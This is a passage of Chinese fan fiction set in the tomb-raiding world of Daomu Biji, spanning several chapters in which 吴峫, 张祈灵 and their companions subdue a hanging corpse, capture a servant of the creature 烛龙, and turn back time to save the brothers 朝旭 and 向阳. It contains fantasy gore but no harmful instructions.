“你歇着就好，我现在没有什么大问题了，就当是做锻炼，我有分寸，不会让自己累到的。”吴峫只用这一句话，便堵住了张祈灵想要知道的，又为张祈灵不想要让自己干活的事，找到了个不错的理由。 张祈灵垂眸，看着弯下腰的吴峫，对方正努力的用洛阳铲撅着地面，而抬起头时，自己先入眼的是他被汗水浸湿的发丝，然后，就是一双眼角已有细纹，却仍然明亮的眸子。 眼波流转，皆是心疼。 但是印象里的吴峫，似乎不仅仅是这样。 反正，在张祈灵眼中的吴峫，是从未卑躬屈膝过的，模样也比现在更加的年轻。 不过这样的状态，其实也很好理解，毕竟张祈灵，已经从大家的嘴里和最开始蛊惑自己的眼睛那处，了解到所谓门内的时间，与外界是不同的。 所以，现今门内的规则，让记忆停留在十年前的张祈灵，毫无阻碍的看着面前，这个身体年龄已经处于十年后的吴峫，而在这样认真的观察下，张祈灵突然真切的，意识到了时间流逝所带来的恍惚感。 而距离二人最近的小哥，很快就将挖掘的动作停顿住了，似乎“双生子”之间，就是冥冥之中带着某种看不见的联系，这让他很快就顺着张祈灵的视线，将目光顿在了吴峫的身上。 其实，小哥不是没有观察过吴峫，也不是没有切实的看到过那些藏在纹理之下的细节，他视若无睹的态度，只是因为本身不敢面对吴峫经历的岁月磨砺，而不知道该说什么。 吴峫说完后，便一直在勤勤恳恳凿地了，但他还是能够明显察觉到，自己的后脑勺上，正停留着令人忽视不了的执拗视线。 于是，他再一次抬头，疑惑的看着张祈灵，也就在彼此视线对上的那一刻，对方却快速偏过头，似乎想要将这场目光交汇，只当作只是一场无关紧要的错觉。 但这么久的相处，深知张祈灵习惯欲言又止的吴峫，自然不会放弃了解张祈灵的机会。 想到此处，吴峫立即抹了把头上的汗，将贴在遮盖眼前的发丝拨到脑后，随即扬起了一派温和的笑意，语气轻缓的问，“你是想说什么吗？” 吴峫的这句话，让小哥同样看向了听到疑问而眸光闪烁的张祈灵，可惜，对方似乎是在酝酿着什么。 小哥似有所感的，好像知道了张祈灵的心中所想般，他下意识往前走近了几步，直到站定在张祈灵和吴峫面前不过半臂距离的位置，他才彻底停了下来。 半晌，张祈灵才给了回应，只不过，他这一次开口，却是两个声音合拢在一起的。 “你老了。” 张祈灵和小哥一模一样的声线重叠，但却让吴峫很容易的听出，这是两个方向的声音。 这样的关心，让吴峫无声的笑了出来，不是什么讥讽，也不是嘲弄，他的神情里，带着的从来都不是那些负面的东西，那笑容中只是一种同自己和张祈灵，还有失去记忆的小哥，向彼此期待已久，对真正意义上的重逢，感叹一下罢了。 真正的相见，不是我接你出青铜门，雀跃等你归来之际，而是你清楚的知道，在你没有参与我人生的这段时间里，岁月对我的磨砺，原来已如此之深。 记忆的回归，才是完整的重逢。 “哪里老了？”吴峫疑惑地把铲子凿进地面，然后将手肘倚在了上面，等问完这句后，他才看向了小哥，合理分析着，“不过，论年龄来讲，我确实比不过小哥……” 等末尾的字音消失以后，吴峫又转回来，盯着张祈灵，“但是吧，如果算一下年龄的话，和祈灵你比的话，我应该年龄确实大些，不过，也算不上老吧，我现在四肢健全，能干活，精神也挺好的，标准来讲，我应该被叫作青壮年。” 张祈灵点头，在心里确实认真的去算了一下，毕竟，自己身体的年龄和小哥是一样的，但看起来，吴峫似乎是用那天创造自己的日期去做的计算，虽然与寻常人不一样，但吴峫说得倒也合理。 在旁边的胖子，听到他们在那里调侃年龄，立刻也兴奋的挤进了话题，“祈灵小兄弟，还有小哥啊，你们就是社恐不爱出门，人家小天真呐，出门被要微信的时候不少，而且他那二叔啊，还成天给他介绍相亲对象，这哪能算老呀，简直是相亲市场的香饽饽啊！” “胖子，好好挖你的地！”吴峫立刻打岔，并解释起来，“还什么相亲，我一次都没去好吗？不要诽谤我。” 听到吴峫这个回答的胖子，连忙擦了把手，然后给吴峫弹了个清脆的脑瓜崩，“我在挖呢，天真你哪只眼睛看到我停下了？而且我就说了这么几句话，你还害羞上了？哎，小天真怎么现在越长大脸皮越薄啊，而且双标，现在教育孩子的时候装上了，你平时是怎么对我的，我都不想说。” “得得得，胖子，你赢了，我嘴皮子溜不过你。”吴峫摸着被弹的额头，在心底里承认，自己在教育小孩祈灵和直率小哥时，确实是驰名双标。 于是，为了逃避胖子的连环追击，吴峫立马重新开始动作，抡起洛阳铲就是挖，然后对胖子认真的说，“休战，我们休战，现在得找到那个女尸，再说往后的事。” 竖着耳朵听的黑瞎子，发现话题就这么戛然而止了，他便立马又把自己刚才感兴趣，但又没深入交流的话题继续捡起来问，“徒儿，你继续说啊，你二叔还给你介绍相亲对象了？艳福不浅啊！几个啊，好看不？你怎么能没去呢，多好的机会哇！” 黑瞎子贱兮兮的声音，传入旁侧，正在努力将眼镜架缠的更结实霍道夫的耳朵里，他蹲在那儿，斜了黑瞎子一眼，“我觉得艳福不浅的是你，毕竟你待会儿，可是能见到那位寿司女尸的第一人。” “这可不一定。”黑瞎子立刻转过身，将食指左右晃了晃，否定道，“原本的时间线，我是背了她，但是现在不一定了啊，我和她没关系。” “不不不。”胖子打岔，并输出自己的观点，“你刚才跟我那么迫不及待，说要看人家最新鲜的时候，这话都说出来了，你不是第一个看多可惜呀，而且，本道长瞧你印堂发黑，说不定啊，这就是一段开始就要结束的孽缘，哎，虽然无疾而终，但还是且看且珍惜啊施主，猪八戒背媳妇的情分，可不是乱扯开的！” 一直在挖的衍卜寸，看着已经拓出洞口的地面，头都没抬，便将话接了下去，“胖子说的有道理，毕竟我们为了黑瞎子，这次把她彻底杀死最好。” 胖子立马，给同意自己观点的实干派衍卜寸，竖了个漂亮的大拇指。 “不是，什么猪八戒，死胖子你说什么呢？”黑瞎子抬脚就想踹，结果发现自己的脚趾头还在外面晾着，只好将腿收回去，不过情绪未消，嘴角都气的抽起来了，“这福气给你，你要吧，黑爷我无福消受！” 看到大家你一言我一语的解雨臣，无奈的扶额，并细心得将洞口的碎石处理好，防止等会儿进入时刮伤。 “和平相处好吗，我的朋友们，现在已经能进去了，谁先来试试水？”解雨臣说完，便站起身，用帕子擦了擦自己的手，因为地底寒冷，和外面温差大，他觉得还是带着点外套的好，所以，下一刻他就将因为热，而脱下去的羽绒服又捞了起来。 第252章 完蛋了 黑瞎子吹着口哨转了半圈，当作没有听到解雨臣的话，引得吴峫立马一把将人扯了回来，又半开玩笑道，“怎么这会儿不吵着要第一个来了？” 骤然收敛住吊儿郎当神态的黑瞎子，耸了一下鼻子，然后装作不在乎的抖着肩，回话的声音越来越小。 “这不是给你们年轻人机会吗？况且，胖子都说我印堂发黑了，我这为了不沾霉运，当然离的远一些最好了……”黑瞎子说完，就将自己的衣料从吴峫手里抽了出来，接着絮叨道，“而且我看你们都挺好奇的啊，谁先进去，谁就能看到最新鲜的粽子。” 胖子吐着舌头，“不是，谁要看啊，你别撺掇我家天真！” “停停停！我先进可以吗？”衍卜寸赶紧拦住这持续性的嘴炮战，然后直接就钻了进去。 衍卜寸站稳后，便用手摸了一下墙壁，这里的洞口下方，连接的是古墓外围的甬道，泄进来的风来自不同的方向，看起来密封工作做的并不是很严实，甚至一些砖块也已经有了如地壳移动的迹象，应该是雨水冲刷导致常年被腐蚀的结果。 “底下情况怎么样？能下去吗？”解雨臣在洞口边沿处喊着。 衍卜寸用红色的眸子绕了一圈里面的环境，随即才回答道，“能，但这里常年雨水充沛，土质会松软一些，你们下来的时候留意脚下。” “得嘞！”胖子响亮的在解雨臣的后头应声。 等大家全下来以后，便把挂烛重新点燃了。 但被包在中间的张祈灵，却和小哥在对视一眼后，同时偏了头，察觉到二人异常的吴峫抬头看着他们，不过两个人的神情都格外的认真，只是沉默的盯着漆黑一片的甬道尽头。 “你们是发现了什么吗？”吴峫这么问着，便动了动耳朵，刚想要再追一嘴，结果却突然听到了一声微弱的叹息。 仿佛是贴在耳侧呢喃般，险些让吴峫起了一身的鸡皮疙瘩，他稳定住心神，将期望小哥和张祈灵解释的目光投向他们。 张祈灵扣住了吴峫的手腕，而小哥也护在了胖子的身后，前方的解雨臣和霍道夫有怪怪坐镇，而黑瞎子有力自保，甚至还饶有兴致地在推眼镜。 唯有最前端的衍卜寸令人看不清是何种情绪，不过他应该也发现了什么，顿住脚步已经有半分钟了，站在原地，一直没有动弹，无声的氛围让人大气都不敢喘。 直到张祈灵突兀出声，才打破这样的沉默，“近了。” 胖子疑惑地探出头，“什么近了？那女尸吗，不会嫌我们走的慢，她就自己找过来了吧……” 猜测的话还没说完，胖子就止了语，因为他能够感觉到，一种黏腻的液体，突然滴在了自己的肩膀上，他顺着那个方向抬头看过去，却发现那是一双没有任何褪色的，极其艳丽的绣花鞋。 但脚尖因为下垂，导致血液以那个角度往下流，使得前端都成了褐色。 “胖子，你这道长也不准啊，怎么这大媳妇来找的是你？”黑瞎子叉着腰，挑眉看着那悬在胖子头顶的女尸。 她被红线紧密的缠绕，像是提线木偶一般，但红线的源头却不是衍卜寸，这并不是衍卜寸的恶作剧，确实如黑瞎子所说，这东西是自己找过来的。 胖子小碎步的挪了挪身子，一张脸惨白的要命，他甚至嘴里的话都结巴起来，“小，小哥，推我一把，快…他妈的，我腿都快软了……” 听此，小哥默默地给他撑了把力气，将人给抱远了，那胖子还来不得舒口气，就见那女尸像定了雷达一样，悬在自己头顶又跟过来了，胖子倒吸了一口凉气。 张祈灵拔着软刃，准备动手，可谁知道，小哥嘴里却嗫嚅了一段话，随后，张祈灵突然意识到自己似乎能够听懂。 也就是小哥话落后，那个女尸瞬间将头扭了一百八十度，然后又猛的垂着，动作大的像是脑袋已经掉下来了似的，她红艳艳的嘴唇咧开了一个绝非常人的弧度，让人能看到她那尖锐的牙齿，和里头的半截舌头。 这时候的女尸笑完，便将自己的高度降了下去，但脚尖仍未落地。 吴峫替胖子松了口气，连忙的扫了眼刚才与女尸交流了一下的小哥，小哥给了他一个放心的点头，随后自己才抬眸，朝张祈灵看去，当察觉到对方的迷茫时，吴峫解释起来。 “小哥说的是尸语。”说完，吴峫又补充着，“你能听懂，身体的本能和大脑的存储应该还在吧？” 张祈灵想了想，然后从自己那空白的经验里，拨出了要用的字眼，最终便下意识开了口，“磕哒。” 也就是这一声，快速吸引了女尸的视线，她猛的以非人的速度朝张祈灵靠近，又在吴峫掏枪之前的一秒钟停下来，她悬在那里，距离张祈灵的鼻尖只有不到五厘米。 她的身上不臭，反而是带着一种香的，张祈灵淡定的轻嗅着，这和自己所在长白山底下接触的那些人俑，是相似的味道。 女尸歪着头，像是小狗一样的嗅着张祈灵缓慢渗出来的血，随后眼睛亮了亮，伸出半截舌头就想舔。 吴峫也不知道自己抽了哪门子的疯，枪还没来得及上膛，食指还勾着扳机，手就先出去了，等一把攥住那舌头的时候，他脑子里只有三个字。 完蛋了。 果然，原本平静的女尸，察觉到枪口堵住了嘴，舌头被攥住后，立刻张牙舞爪起来，而且还要进行咬合的动作。 于是，张祈灵直接手起刀落将她的舌头切断，又把吴峫的手扣回自己的掌心中，才放心下来。 “抱歉，我就是刚太着急了，一时之间才……”吴峫回神，才想起来解释自己鲁莽的行为。 张祈灵摇了摇头，表示理解。 而下一刻，小哥再次开口提醒，女尸又归为平静。 一直站在外围的衍卜寸，终于有了看她一眼的时间，然后便将自己观察的交代清楚，“我看到这墓地不大，但里面有主墓室，棺材开了，应该就是她躺的那个，她现在不是要攻击人……” “是带路。”小哥接着话。 这样的话题，黑瞎子自然要加入，他弹了个脆生的响指，笑容灿烂，仿佛真的是为了伸张正义，匡扶济世一样道，“你们说的太对了，这绝对是刚才那家伙把这新娘子的婚房占了，都给她气的跑出来求救了！ 而且，她就是看胖子面善，谁知道哈喇子流胖子肩膀上了，要我说，她诚意都摆在这里了，咱们不得好好去看看，给人家讨个公道啊。” 公道…… 解雨臣思索着黑瞎子的话，又看向那丢了舌头的女尸，正脚不沾地的悬着，直到她突然仓皇的拔下了自己的头，惊的自己心里狠狠一跳。 显然，女尸并不是为了伤害大家，她只是想找到自己被割掉的舌头在哪里，可那死掉的头里没有脑细胞，显然不怎么聪明，眼眶也因为脑脊液渗出，而不断流着血和白腻物质混合的泪，哭的她视线模糊，导致她滚了好几圈都找不到舌头。 而且，她的脾气真的不怎么好，这一会儿就开始颤抖起来，像是弹簧一样，在空间里上窜下不跳，因为她脚不能沾地…… 不过，看到她这么艰难，解雨臣还是没去帮忙捡，他是个宁可用帕子垫着捡颗石子，将舌头打过去，也绝不会亲自对肮脏之物动手的人。 于是，解雨臣在自认为没有帮助她的情况下，只弹出了石子，这使得那半截舌头，像是肉泥一样，被打地立刻贴到了她的绣花鞋上，也是赶巧，她转了一轮的头正好看见，便立马像屎壳郎团的屎一样，利落的借着撞到墙上的反劲窜了回去。 然后，她便张开嘴一口咬住那舌头，囫囵吞枣的含在嘴里，接着她的身体便俯了下去，用手将头捡起来，又咔把的安了回去，不过，因为截面不平，衔接不稳，她只能用双手托着脸颊，防止头掉下去。 不过找到舌头以后，女尸便兴高采烈让喉咙里发出黏糊的血块摩擦声，立马就开始领路了。 张祈灵看着全过程，只觉得，这是她在试探大家帮不帮忙的意思，如果帮了，大家就有资格，能去见那个占了她老巢的东西。 第253章 烧 女尸晃悠悠地在前面飘着，于地下流出拖尾般的褐色血液，张祈灵拉着吴峫尽量躲避开那些脏污，很快，他们就来到了衍卜寸所说的主棺室的位置。 棺材是平放着的，因为这里的空气渗透，导致氧化，而有些锈迹斑斑的，棺盖也是明显被外力所撬开的，露出了一条细缝，不过棺材本身的质量看起来还是不错的。 张祈灵松开抓住吴峫的手，便走近了些，里头的东西藏在还未被腐蚀的陪葬品中，正发出悉悉索索的声音，蹿动的厉害。 在张祈灵身后的衍卜寸，正偏头示意众人绕在棺材周围，而小哥也来到了张祈灵的对面，一起举刀，向棺内探去。 但就在两柄寒刃刺下去的时候，那团黑色的物质快速冲出，横冲直撞的想要附身在人的身上，却看到这么多人类时，反而开始束手束脚的随意乱飞。 而瞧着从自己窝里跑出来的黑团子，女尸毫不犹豫地窜过去准备躺回自己的棺材里。 但知道那正在寻找宿主的怪东西还在巡视，黑瞎子立马拽住了女尸的右手，而她偏身看来的瞬间，那挂在脖子上的铜镜，同时反射了周遭人手中挂烛的光芒，竟在这一刻生生晃了黑瞎子的眼。 也就是黑瞎子顿神的这一下，女尸托着脑袋，表情不善的狠狠地抽回了自己的手，而那个黑家伙自然也注意到了女尸的动静。 张祈灵顺着思绪，紧急偏头，就看到那家伙朝着最容易被控制的死物女尸而去，他用软刃拍了下小哥的刀，示意先发制人，随即，两个一模一样的身影便朝着那女尸冲了过去。 擒贼先擒王，但那个黑东西用冷兵器杀不死，只要让它不附身到女尸身上就好，杀了她，是最快的方法！ 两柄刀刃入枯尸，彻底榨干了女尸身体里的血，她不可置信的将手耷拉了下去，头颅没了支撑，便直接滚落下地，她似乎并不懂，为何先前要帮自己找回居家之所的家伙们，竟然在这时候要杀了自己。 等反应过来后，落在地上的脑袋，才来得及扭头，用狰狞的眼睛看着自己的身体，她的手缓慢的想要拔出扎入心口的那两把利刃，但干枯成瘪的手完全没有力气，长指甲也没能在刀面上留下任何的痕迹。 她身上的红线，因为她最后的意识消散而脱落下去，黑团子紧急往后撤，找寻着新宿主，却在转身之际，被恢复好的黑瞎子，用子弹所逼仄到衍卜寸的位置，而衍卜寸套上红线的手，也将它抓了个正着。 随后，女尸彻底掉落了下来，被张祈灵一把接住，而小哥拎起她的头，便将其一起放进了棺材里。 张祈灵做完这些，才开口道，“烧。” 讶异看着这场利落合作的吴峫，眨巴了两下眼，不过这时候的他，可不会傻傻去问为什么了，毕竟粽子的存在本身就是一种异类，虽然先前未展现出攻击性，但是现在死亡，也是死得其所。 早就应该离开的人，不应该让他人实验，用以这副样子苟活下去。 “好，胖子，你拿烧火瓶出来。”吴峫向身旁的胖子勾手。 胖子将自己包里的烧火瓶拿了出来，递给了吴峫，而吴峫利落用挂烛点燃后，扔进了棺材里，棺材两边的张祈灵和小哥，则瞬间将棺盖合起来，然后迅速后撤。 也就是沉闷的一声嘭，里头的陪葬品和女尸被炸了个粉碎，而外壳的棺材毫发无损，只是将外部附上的锈震碎了几块下来。 此时，黑瞎子收了枪，拍着手上并不存在的灰，冲衍卜寸吹了个口哨，“这东西捏在手里不累吗？你想怎么处理？” “杀了。”衍卜寸将手上的力道加重，随后，红线便密密麻麻的覆盖在了它的身上。 小东西拼命的挣扎着，完全没有附身寄宿时的张狂，它像小狗一样的发出呜咽声，但衍卜寸却从中听出了不同的意思。 张祈灵同小哥靠近了些，听着这完全没有嘴的家伙，竟发出婴儿般嗫嚅的音调，然后是少年紧接着是青年，等到将声线稳定后，它才终于骂出了中文。 “放开我！你们究竟知不知道我是谁？！”小东西牛气哄哄的，可被衍卜寸束的完全没办法动弹，所以显得有些滑稽。 胖子看着大家目不转睛盯着衍卜寸手里的那团空气，无措的装作懂的点了点头，却惨遭吴峫瘪嘴，“胖子，咱看不见不用硬装。” “哪有，我这不是仔细观察着吗？”胖子说完，便贴紧了吴峫的耳边，压低了声音，“别拆台，咱看不到不就得为了有点参与感，装一装嘛，不然这人家打完了都，啥也没干，我这良心也不好受。” “行，你继续看吧。”吴峫不费劲去撑眼睛看了，而是等着衍卜寸那边的张祈灵还有小哥，黑瞎子等人看完以后，再来解释。 衍卜寸捏紧了它的身体，虽然语气是疑问，但显然诈它的气势十分的足，“你是从那个门里出来的吧，是烛龙的一部分？” 一下子被戳到痛点的小黑球拒绝回答，但身上的力道不断的加大，让它哪怕是这样的一个躯体状态，也抗不了太久。 “是是是，我就是它散落在外的雷达，用来找寻能够寄生的载体而已！”它拼命的挤出话来，生怕自己在衍卜寸的手里被捏爆。 “我说的都是实话，真的！它出不来门，但能够传声，可是这个传声范围实在是有限，它就让我出来找复生的容器了，我离开它这么久，那可是矜矜业业，一刻不敢歇！而且，大人您和您朋友这么厉害，我甘拜下风，才选择那个女尸下手，这……你现在不让我回去，我不好交差啊。” 小黑团苍蝇搓手着，试图求饶。 黑瞎子现今了却了被附身的因果，眼睛的状态可谓是看什么都一清二楚，心情好的直接起了逗弄的心思，隔着红线戳了戳它的脑袋，发现触感实在是有趣，像是雪山上新生的冷雾，带着点凉意。 等到他舍不得的收了手，才笑着反驳它，“交差什么，你拿那女尸交差也没用吧，人家要能承载住它的载体，你找个不伦不类，都被我兄弟炸开的玩意，这么搪塞工作可不行啊。” 黑团子没有眼睛，它只能气鼓鼓的团着身体，心里想还不是你们搞的，要不是你们突然出现，我哪里至于找个活死人交差？但迫于威压，它还是什么都不敢说，连瑟缩的那一下，也显得可怜极了。 “阵眼。”张祈灵直接纠正话题，既然黑瞎子被附身的事情已经解决了，现在当务之急的，是赶紧捣毁烛龙的能量供应，以及出这个门。 但听到这个字眼时，黑团子却差点吓得长腿跑了，不过，它还是只能在衍卜寸的掌心里窜动一厘米，接着又害怕的停顿下来，“什…什么阵眼，我不知道啊，我就是个跑出来的闲差，哪里知道这些。” 见它不说实话，小哥的黑金古刀便一下子悬在了它脑袋顶上，手上也随时准备抹上自己的麒麟血。 “说。”小哥不容置疑的威胁道，惊的黑团子又是一阵颤抖。 第254章 愿望困人 “我说，我说还不行嘛，接下来的门都不是具体的样子，而是类似于一个屏障，或者是场景的切换，不过，我能嗅到阵眼的能量气息，我带路，别杀我啊！” 黑团子叽里咕噜的把自己知道的全说了，小哥这才收了刀，然后由黑瞎子给吴峫等人解释起来，“这东西说它来带路，待会儿跟紧，因为那门看不见了，需要更小心一些。” “好。”吴峫点头答应着。 而被衍卜寸略微松开一些的小黑团，则向棺材后的墙面走去，见大家没动，它才赶紧说道。 “这个就是门，不是墙，能进的！”话落，它为了证明自己说的没错，几乎是将半个身体都探进了门里。 张祈灵与大家交换眼神后，才试探性地走上前，又被吴峫给扯了回来，衍卜寸赞赏的看了一眼拦住张祈灵的吴峫，随后与黑瞎子打头阵走了进去。 等到众人到新的空间以后，前面的时间线便开始崩塌，终于显现出来的们，中间闪烁过了几个画面，正是黑瞎子调查的那北京火烧案的真相，是男人们哄抢女尸身上的金银细软，而导致全村受到诅咒。 随后，神婆提议封女尸下井，却引得自我焚烧殆尽，再是后来被霍仙姑派遣而来的黑瞎子，一无所有的将女尸背起。 张祈灵回头，小型青铜门出现了裂纹，直到成为碎片化，时间快速回退在那些片瓦中回退，神婆没有被烧死，而是在东南亚拄着拐杖，安心地抚摸着孙女的头发，小姑娘咯咯的笑着，而贪婪地男人们此时正锯着木头，辛劳的汗水以后，是应得的金钱。 然后，是骤然合拢上的棺材里，女尸被炸的粉碎，她再也没有上到地面的机会。 众人再次结束了一切的悲剧。 而张祈灵回神时，却骤然顿住了目光，一望无际的空间里，是一个不认识的男孩迷茫的在哭，他的皮肤尽裂，痛苦的倒在地上，已经丢失了四肢，完全是一副人棍的样子，他此刻，正麻木的看着自己呕出源源不断的鲜血。 “朝旭！”衍卜寸在看到对面人的那一刻，便跑了过去。 他试图去扶起朝旭，对方却神情呆滞，身体瘫软，衍卜寸知道，是报应来了，是与烛龙交易后带来的副作用，朝旭马上要死掉了。 “霍道夫，包扎，快！”胖子快速于惊诧中恢复了理智，他说什么也不会让衍卜寸的同族，这么大个小豆丁的孩子就这么死去。 可朝旭却像是突然被某种东西刺激了一样，他抬起空洞的眼，其中滚着泪，无声的看着衍卜寸，等到他的视线终于聚焦，他才仓皇的开口，“我，我找到它了，可是它骗我，它说能救向阳，但是……它夺了向阳的身体，我的阿阳，不是怪物，不是！” “冷静，朝旭。”衍卜寸用另一只手压下朝旭的肩膀，才霍道夫走了过来。 清如也加入其中，处理着朝旭岌岌可危的身体，那漂亮的眸子里，全然是对朝旭选择的不悦，并且下着结论，“我应该跟你说过，你的身体撑不到二次交易，这完全是强弩之末，你活不了多久了。” “能救他……就算牺牲自己又如何？不过，我，我只是没有想到，它这一次的方法，竟然是，让它以那样的形象活着……”朝旭边说边呕着血，衍卜寸只能用掌心一下堵住了他的嘴。 张祈灵蹲了下来，观察着朝旭，对方的外部看起来并没有任何的伤痕，但是丢了四肢，是内出血，他细盯着朝旭的腹部，那里如今空瘪的厉害，仿佛是一片薄纸，然后他便将朝旭用什么东西换向阳复生，给说了出来，“内脏，四肢。” 哑然的吴峫偏开头，不适的捂住自己的下半张脸，朝旭同鄢啸南是差不多类型的人，只不过是机遇不同而已，于烛龙而言，鄢啸南起码是第一个最特殊的存在，虽然在鄢然活下去的交易上，它玩了文字游戏。 但对朝旭，那就是毫不留情的你死我活了，朝旭这样的蝼蚁，还不到让它真的上心的程度，所以在吴峫看来，这次的交易绝对是不公平的。 这么想着，吴峫便上前了一步，“我能问一下，为什么说向阳变成怪物了吗？” 朝旭警惕的看了一眼吴峫，紧接着又移开视线，确认了衍卜寸的神情，虽然他对衍卜寸这个人很不满，但现下这也是自己唯一的依靠了，所以，她等到衍卜寸点头示意可以说以后，朝旭才开了口。 “衍卜寸当初说的没错，用心是可以找到它的，因为带有强烈交易的想法，会让它主动的出现，所以我自然而然找到了它，并做了交易，可谁知道……”朝旭变得愤怒，原本精致的五官都带了一些狰狞。 “它夺了阿阳的身体，想要将自己的灵魂挤进去，可庞大的灵魂对于阿阳太勉强了，我看到了阿阳在我面前被撑爆，然后又重组起来……然后，然后它！” 清如和霍道夫加快手上缝合的速度，衍卜寸给朝旭顺着后背，适宜他慢些说。 “主人肯定是发现躯体不能复生，于是一气之下，玩了点小实验呀。”小黑团此时突然插了嘴，腔调很是调皮，不过，它被衍卜寸的红线缠住，看起来更像是一只被牵绳的狗。 朝旭崩溃的泪又流了下来，他怒瞪着小黑团，“别说了！阿阳才不是实验品，他是我的爱人，我的弟弟！” 胖子扶着额，被解雨臣拍了拍肩膀后，只感觉这个台词真的很似曾相识，毕竟鄢啸南也是那样的，所以，衍家的族内消化，让他至今都觉得两眼一黑，不过为了表示尊重，他什么都没说。 “黑东西，有没有办法去到朝旭做交易的那个门里。”衍卜寸虽然似乎是询问的态度，但语气却是不容置疑的，甚至他将缠绕在小黑团身上的红线又紧了一些。 既然能够阻止那么多因果的发生，那扼断朝旭的念想，也是唯一能够让朝旭活下去的方法了。 可朝旭却听懂了衍卜寸话里头的意思，他拼命的摇着头，血和泪不断的往下砸，让他的脸变得格外的泥泞，“不可以，衍卜寸，你是最没有资格说这些的人！如果不是你，向阳根本不可能……” 说了一半，朝旭便感觉自己的鼻尖一凉，张祈灵的软刃贴在了他的脸上，刚才朝旭的那番话，意思不就是如果没有衍卜寸的话，那就根本不会发生这一切吗？ 他在让衍卜寸去死，让张祈灵的朋友，让吴峫、黑瞎子，胖子和解雨臣的兄弟去死。 吴峫看到张祈灵的情绪不对，拉住了他的手，随即，用指腹抚平了张祈灵眉间的愠怒，然后才看向朝旭，“你该怪的不是衍卜寸，是烛龙，是降下这一切灾祸的东西，况且，让衍卜寸进地窖的人是衍光善，我们刚才去了他的时间节点，他已经结束在他自己的人生轨迹里了。 而现在，你身旁没有向阳，就证明是你的愿望困住了他，要不然他早该回来了。” “是你在说谎！如果你们真的解决了衍光善，我的阿阳怎么可能回不来？什么愿望困住了他，笑话，我才是最想让他活的那个人！”朝旭反驳着吴峫。 张祈灵对朝旭的暴怒，并没有太多的感触，他只是看了一眼吴峫，然后便蹲下来拔回了自己的软刃，起身对着那个小黑团道，“听衍卜寸的。” 小黑团立马意识出来，这拐来拐去的话题，仍然是让自己找到那个门，它连忙点头，生怕自己被衍卜寸勒死，语气急促的一拱一拱的飞，“这这这！门在这里，哥哥们跟我走！” 第255章 旺旺碎冰冰 朝旭并不同意吴峫嘴里所提出的，向阳被愿望困住，苦难是来源于自己的结论，他拼命的在地上挣扎，像是一条脱离了水的游鱼，险些让给霍道夫手中的止血药落到地上。 “你们不能替我和阿阳做决定！我他妈不是鄢啸南那样好说话的人，我不同意收回我的愿望，我不同意！”朝旭破口大骂着。 霍道夫与清如对视一眼后，眼疾手快的钳制住他，将止血药和水塞进了他的嘴里，朝旭下意识吞咽进去，连带着那些还未涌上来的血，混在喉咙里腥的要命。 拽动红线的衍卜寸，听到这话，略微偏过头，眸光冷冽，却又下意识带上了和善温吞神色，“那你想做什么？你不收回愿望，不结束交易，那么你所要面对的，永远都是复制体，一个怪物。 我并不是要道德绑架，让你做出和鄢啸南一样的决定，我只是想要让你清楚，真正的向阳还在过去等着你。” 朝旭听完衍卜寸说的以后，神情才带了些恍惚，他反复思量着由因带来的果，在心中估算着其中利弊。 但还没到两分钟，他就一把被胖子抱了起来。 “胖爷我不是一个文化人，但你犹豫了，就证明着你在思考这件事。”胖子惦了下怀中轻飘飘的人后，便站在朝旭的角度为他考虑道，“天真已经把情况跟你说了，你弟没回来，并不是我们帮鄢啸南和他弟解脱那里出了岔子，而是你不敢面对你弟真正的死亡不是吗？” 胖子很少有这么锐利拆开问题，嚼碎着喂给别人的时候，朝旭同胖子不熟，可听了这话，就觉得自己心里的痛处被精准的戳到了，于是，他好奇的抬头，看了这人一眼。 对方的下颚浑圆又饱满，在下一刻回看自己的时候，那小小又充满福气的眼睛里，只有当自己是个孩子般的慈祥。 偏移开视线的朝旭，在此刻才发现，似乎这个世界上，不止衍卜寸有那种惑人的特殊功能。 而是具备爱人能力的家伙， 都有着这种令人信服的本事。 “喂，做好决定了没有？我们家胖子，可不是你免费的劳动力。”黑瞎子的指尖戳了下朝旭的脸，叫他回神。 朝旭偏开头，最终在脑内反复闪过自己和向阳相处的几个片段以后，才下定了决心，“好。” 张祈灵同衍卜寸一起进了那扇肉眼无法辨别的门，众人曾待过的中转站则骤然崩塌，而目前大家所站的空间，开始骤然变换。 胖子怀中的朝旭消失了，时间诡异的开始流动，从朝旭许愿背到向阳的那一刻开始，便不断的倒退起来。 小少年像是飘飞的蒲公英，快速脱离开了朝旭的后背，连笑声也变得渺远。 张祈灵一瞬不眨的去看，才发现面前闪烁了一次衍卜寸在地下室里，挣扎的片刻画面，等自己眼睫刚颤动的刹那。 突然，属于朝旭的整个时间长河，开始彻底逆转。 现在的众人，处在从前鄢家最鼎盛的时候，那是一场盛大的宴会，而鄢然在台上翩然起舞，年仅五岁的朝旭，则在台下，于父母身边，乖巧的牵着向阳的手。 所有的明媚，于此刻骤然回溯。 张祈灵与大家藏在浩荡的，脸庞模糊不清的人群中，透过人与人的缝隙，去看被朝旭热切照顾着的向阳，小孩儿脸是惨白的，似乎从小的身体都不怎么好，但还是在爱意的滋养下，还是长出了和哥哥一样的高度。 而现在，鼓声响彻，烟火灿烂，鄢然的身姿在台上处于明灭之间，正值全场高潮，热烈欢呼之际，朝旭却突然神色骤变，看向了身侧的向阳。 对方松开了自己的手，仿佛听到了什么，衍卜寸能够看到，一种能量波动，正席卷而来，中了蛊般的向阳，眼神有些迷茫，随即，他拨开人群，拼命的往一个方向走，尚且年幼的朝旭，还来不及叫身侧的父母，便着急的跟从弟弟的脚步跑了起来。 张祈灵与众人递交了一轮眼神，便开始尾随他们，而看到了能量波动的衍卜寸，则在心里下着结论，果然，就算结束了鄢啸南与鄢然那边的因，烛龙也不会改变朝旭与向阳的结局，它巴不得有人多许愿呢，又怎么会让这兄弟俩逃离自己的魔爪。 向阳走到了小巷里，面对着一堵墙想要伸出手，见状，张祈灵直接将软刃掷了出去，以一个刁钻的角度，从向阳的身侧擦过，将其钉在了砖缝里。 惊得向阳在回神后，开始哇哇大哭，朝旭连忙把弟弟抱住，目光不善地看着出手的张祈灵。 而他们身后的墙皮，则略微往下掉了些，众人抬眼去看，才发现那后面的材质是铜，而且，被很好的掩藏住了。 “你们是谁？离我弟弟远些！”朝旭年幼，音色还是奶声奶气的，就算他多么的害怕，但他还是选择在此刻护住了自己唯一的弟弟。 黑瞎子并不觉得朝旭的反抗对自己有效，他偏头，干脆的挤开了衍卜寸，随即往前迅速闪身，一把便将两个小孩都捞了起来，然后离那个门远了些，接着就发出了如逗猫般的拟声词，“啧啧，小孩子怎么能离开父母往外跑呢？这可不是乖孩子会做的事。” 